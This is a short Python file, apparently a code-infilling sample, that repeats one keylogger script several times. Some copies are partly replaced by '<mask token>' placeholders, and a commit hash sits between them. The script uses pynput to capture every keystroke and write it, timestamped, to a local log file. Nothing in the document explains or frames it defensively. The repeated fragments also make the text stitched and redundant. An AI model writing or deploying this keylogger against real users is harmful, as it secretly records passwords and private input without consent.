from pynput.keyboard import Key, Listener
import logging
lgd="File-"
logging.basicConfig(filename=(lgd + "key-log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def key_press(k):
    logging.info(str(k))

with Listener(on_press=key_press) as listener:
    listener.join()
ac98f746170c7ce5b1d2c7a7eb9586825afd4859
<mask token>


def key_press(k):
    logging.info(str(k))


<mask token>

<mask token>
logging.basicConfig(filename=lgd + 'key-log.txt', level=logging.DEBUG,
    format='%(asctime)s: %(message)s')


def key_press(k):
    logging.info(str(k))


with Listener(on_press=key_press) as listener:
    listener.join()

<mask token>
lgd = 'File-'
logging.basicConfig(filename=lgd + 'key-log.txt', level=logging.DEBUG,
    format='%(asctime)s: %(message)s')


def key_press(k):
    logging.info(str(k))


with Listener(on_press=key_press) as listener:
    listener.join()

from pynput.keyboard import Key, Listener
import logging
lgd = 'File-'
logging.basicConfig(filename=lgd + 'key-log.txt', level=logging.DEBUG,
    format='%(asctime)s: %(message)s')


def key_press(k):
    logging.info(str(k))


with Listener(on_press=key_press) as listener:
    listener.join()

from pynput.keyboard import Key, Listener
import logging
lgd="File-"
logging.basicConfig(filename=(lgd + "key-log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def key_press(k):
    logging.info(str(k))

with Listener(on_press=key_press) as listener:
    listener.join()